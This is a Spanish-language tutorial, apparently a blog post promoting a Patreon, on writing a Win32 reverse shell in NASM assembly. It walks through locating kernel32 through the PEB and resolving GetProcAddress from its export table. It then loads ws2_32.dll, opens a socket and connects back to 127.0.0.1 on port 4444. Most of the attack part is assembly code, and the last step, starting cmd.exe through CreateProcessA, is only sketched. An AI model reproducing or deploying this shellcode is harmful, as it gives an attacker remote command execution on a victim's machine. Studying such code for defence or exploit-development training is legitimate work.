Una pequeña explicación de como realizar una shell para win32.
Veamos unos conceptos básicos, está explicación es realizado en nasm, esta forma no es única, hay varias formas, todo depende de tu imaginación y de como te atrevas a programarlo.
Explicaré una forma básicas de una shell pequeña, lo demás es bajo tu creatividad y responsabilidad.
Para este tutorial es necesario tener instalado windbg y usar otro debugger como x64dbg.
Algo que debes tener en cuenta para poder realizarlo, es saber manejar registros en ASM y sus ejecuciones, dejo un link a una página donde puedes aprender más.
Architecture/x32-assembly| Registros |
|||||
| 64 bit |
32 bit |
Explicación |
|||
| 64 bit |
rax, rbx, rcx, rdx, rsi, rdi |
--- |
Los registros a utilizar son rdi, rsi, rdx, r8 - r10, etc. |
||
| 32 bit |
--- |
eax, ebx, ecx, edx, esi, edi |
Los registros a utilizar son ebx, edx, ecx, edx, esi, edi, etc. |
||
| Memoria | Bits | Bytes | Registro | Access-Memory | Allocate-Memory |
| char | 8 | 1 | al | BYTE [ptr] | db |
| short | 16 | 2 | ax | WORD [ptr] | dw |
| int | 32 | 4 | eax | DWORD [ptr] | dd |
| long | 64 | 8 | rax | QWORD [ptr] | dq |
Para compilar: nasm -fwin32 -o shell.obj shell.nasm
ld -m i386pe -o .exe .obj
Antes que nada, es bueno que entiendan de donde vienen varias cosas que vamos a usar (PEB):
Abran windbg y ataquen un proceso o usen alguna aplicación de 32 bits.
Veamos lo primero que tenemos que saber, el primer objetivo es TEB

Como podemos observar PEB se encuentra en la posición 12, si lo multiplicamos por cada DWORD obtenemos 12*4=48 - 0x30 hex
Veamos que pasa si lo seguimos.

Ya encontramos PEB, algo que debemos recordar es que hay un registro en ASM que guarda TEB (fs), esto hay que recordarlo para posteriomente usarlo.
Busquemos la dirección para obervar que hay dentro de PEB


Tenemos que direccionarnos a "Ldr", ya que ahí se encuentra una estructura importante a utilizar que es "InMemoryOrderModuleList" y "Flink".
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
Entonces cuales son lo pasos a seguir para encontrar las direcciones que necesitaremos para lograr cargar algunas librerías además de funciones.
TEB
->PEB(0x30)
->Ldr(0xc)
->InMemoryOrderModuleList(0x14)->Flink
Hay que observar que el que necesitamos es la dirección que se encuentra en el segundo Flink en el código se observará como podemos llegar ahí.
xor ecx, ecx mov eax, [fs:ecx+0x30] mov eax, [eax+0xc] mov esi, [eax+0x14] lodsd xchg eax, esi lodsd mov ebx, [eax+0x10]
lodsd avanza 4 bytes del registro esi a eax en una estructura, así que sería InMemoryOrderModuleList+4 = flink(ntdll.dll)
Después se hace un xchg para meter eax nuevamente a esi y volvemos a recorrer 4 bytes para quedar InMemoryOrderModuleList+4=flink+4=flink(kernel32.dll) donde se encuentra la dirección que necesitamos para poder llegar a la base de kernel32.dll.
eax+0x10, es por un error al llegar a la dirección donde solo hay que hacer algo sencillo para solucionarlo, en el tutorial de patreon está un poco más detallado por si les interesa conocer más.

Vamos a verificar si los datos son correctos con otro debugger.


Se puede observar como los hexadecimales de la primera imagen y ebx de la segunda imagen y son iguales.
La siguiente tabla es importante porque es PE File Format
En el tutorial de patreon profundizaré un poco más, ahora solo importa saber como llegar a Data Directories, que es donde empezaremos a buscar las funciones a necesitar.
Así quedaría entonces...
e_elfanew(0x3c)
->OptionalHeader+DataDirectory(0x78)
->AddressofNames(0x20)
Observemos el código.
mov edx, [ebx+0x3c] add edx, ebx mov edx, [edx+0x78] add edx, ebx mov esi, [edx+0x20] add esi, ebx
Cada movimiento hay que unirlo a la base de kernel32.
Ya estamos en AddressOfNames, ahora es momento de empezar a la dirección necesaria para cargar librerías y buscar las funciones necesarias y es GetProcAddress.

En el tutorial de patreon tiene una explicación más detalla sobre porque el uso de AddressOfFunctions, AddressOfNames y AddressOfNameOrdinals
Pero primero tenemos que buscar el nombre, después su ordinal y al final la dirección de la función.
-->AddressOfNames - 0x20
-->AddressOfNameOrdinals - 0x24
-->AddressOfFunctions - 0x1c
Repetimos el uso de lodsd y vamos buscamos el nombre "GetProcAddress"
J_Gp: GPAdd: inc ecx lodsd add eax, ebx cmp dword[eax], 0x50746547 jnz GPAdd cmp dword[eax+4], 0x41636f72 jnz GPAdd cmp dword[eax+8], 0x65726464 jnz GPAdd dec ecx
Aquí entramos en una especia de "loop" e "if"
Pueden observar como aumentamos a ecx = 1, metemos a esi en eax, le colocamos la base de kernel32 y vamos comparando cada dword hasta encontrar el nombre correcto.
Al final restamos ecx-1, porque el array de Ordinals empieza en 0 no en 1, así que hay que usar dec ecx
Algo importante a notar es que tanto AddressOfNameOrdinals como AddressOfFunctions son arrays, AddressOfNameOrdinals = [word] y AddressOfFucntions = [dword]
mov esi, [edx+0x24] add esi, ebx mov cx, [esi+ecx*2] mov esi, [edx+0x1c] add esi, ebx mov edx, [esi+ecx*4] add edx, ebx


Ahora solo queda empezar a cargar la librería sería así.
GetProcAddress(LoadLibrary(ws2_32.dll))
El proceso es repetitivo excepto para los parámetros.
xor edx, edx push edx push 0x41797261 push 0x7262694c push 0x64616f4c push esp push ebx call [ebp-4] - Aquí está guardado GetProcAddress mov [ebp-8], eax
Como se ve en el código, se debe meter en la pila LoadLibraryA0, se une a la base de kernel32 y se invoca con GetProcAddress y guardamos.
Ya que esta cargada la librería y tenemos la dirección, comenzamos a programar el socket.
LoadLibraryA(WSAStartup)
xor edx, edx mov dx, 0x6c6c push edx push 0x642e3233 push 0x5f327377 push esp call [ebp-8] mov esi, eax <-- ws2_32.dll
GetProAddress("ws2_32.dll","WSAStartup")
xor ecx, ecx push ecx mov cx, 0x7075 push ecx push 0x74726174 push 0x53415357 push esp push esi call [ebp-4] eax - mantiene el resultado
Ya que obtuvimos las direcciones de WSAStartup, debemos empezar con los parámetros.
Antes hay que observar la estructura.
int WSAStartup( WORD wVersionRequired, LPWSADATA lpWSAData );
wVersionRequested = MAKEWORD( 2, 2 ); WSAStartup( wVersionRequested, &wsaData );
En el tutorial de patreon explico esta parte, vamos a continuar.
xor ecx, ecx mov cx, 0x0190 sub esp, ecx push esp push ecx call eax
Tenemos que definir el tamaño de la estructura y abrimos espacio y metemos en la pila la dirección inicial de wsaData sizeof(struct wsaData)
Ahora metemos wVersionRequested que es la mayor version 2.2 e invocamos lo guardado en eax.
Volvemos a repetir todo.
xor ecx, ecx mov cx, 0x4174 push ecx push 0x656b636f push 0x53415357 push esp push esi call [ebp-4]
GetProAddress("ws2_32.dll","WSASocketA")
Tipo de datos| Domain | Type | Protocol | lpProtocolInfo | Group g | dwFlags |
| AF_INET | | SOCK_STREAM | | IPPROTO_IP | |||
| 2 | | 1 | | 6 | 0| | 0| | 0 |
Con eso podemos saber que es lo que necesitamos, solo hay que meter en cada registro el dato necesario.
SOCKET WSAAPI WSASocketA( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags );
Pero antes debemos saber como meter todos esos datos. La mejor opción es meter todo a la pila, para eso sirven los push.
xor, hace una comparación tipo not, por ejemplo, si fuera eax=1, con xor podemos decir: eax=1 not eax=1; resultado = 0
inc, incrementa +1 un registro, por ejemplo, si fuera eax=1, entonces, inc eax, sería ahora eax = 2
pop, saca de la pila el ultimo registro guardado, por ejemplo, push 0x1; push 0x2; entonces, pop eax, sería ahora eax = 2, pop eax, entonces ahora eax = 1
xor edx, edx xor ecx, ecx push edx push edx push edx mov dl, 6 push edx inc ecx push ecx inc ecx push ecx call eax
¿Cómo quedaría entonces?
WSASocketA(2,1,6,0,0,0)
Repetimos lo mismo ahora para darle indicaciones a connect
xor ecx, ecx
mov ecx, 0x74636565
shr ecx, 8
push ecx
push 0x6e6e6f63
push esp
push esi
call [ebp-4]
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Veamos la estructura de como de ser usado.
int WSAAPI connect( SOCKET s, const sockaddr *name, int namelen );
typedef struct sockaddr_in {
#if ...
short sin_family;
#else
ADDRESS_FAMILY sin_family;
#endif
USHORT sin_port;
IN_ADDR sin_addr;
CHAR sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;
Aqui debemos pensar en dos cosas, meter en la pila la IP, el Puerto y la familia.
Veamos como quedaría.
xor ecx, ecx push 0x0100007f push word 0x5c11 add cl, 2 push word cx
Guardamos eso en la pila y volvemos a repetir pero ahora para la estructura.
xor ecx, ecx mov ecx, esp <--sockaddr_in push byte 0x16 <--sizeof(sockaddre) push ecx <--sockaddr_in push edi <--socket call eax <--connect
Ya tenemos lista la conexión, pero falta como crear una tubería para mandar y recibir datos. Para eso usaremos CreateProcessA.
Esta parte voy a colocar la estructura y si ya se entendió todo, será sencillo repetir todo.
Es cuestion de volver a buscar desde PE File Format y encontrar CreateProcessA.
BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
Hagamos un adelanto.
Metamos a la pila cmd, que es la consola de comandos.
xor edx, edx mov edx, 0x646d6363 shr edx, 8 push edx mov ecx, esp
Aquí necesitas establecer dos cosas importantes de la estructura
LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation
lpStartupInfo es la cantidad de bytes 44 bytes + 16 de pProcessInformation
En el tutorial de patreon pondré más detallado esto.
push edi push edi push edi push edx push edx xor eax, eax inc eax rol eax, 8 push eax push esi push esi push esi push esi push esi push esi push esi push esi push esi push esi xor eax, eax add al, 44 push eax mov eax, esp xor edi, edi xor edx, edx sub esp, 0x16 mov edx, esp
Y ya al final es solo darle parámetros a CreateProcessA con esto que acabamos de ver según la estructura.
Listo.
Si deseas el código completo puede apoyarme en patreon, ahí encontraras el código y más. Patreon
En github se encuentra parte del código como referencia. Github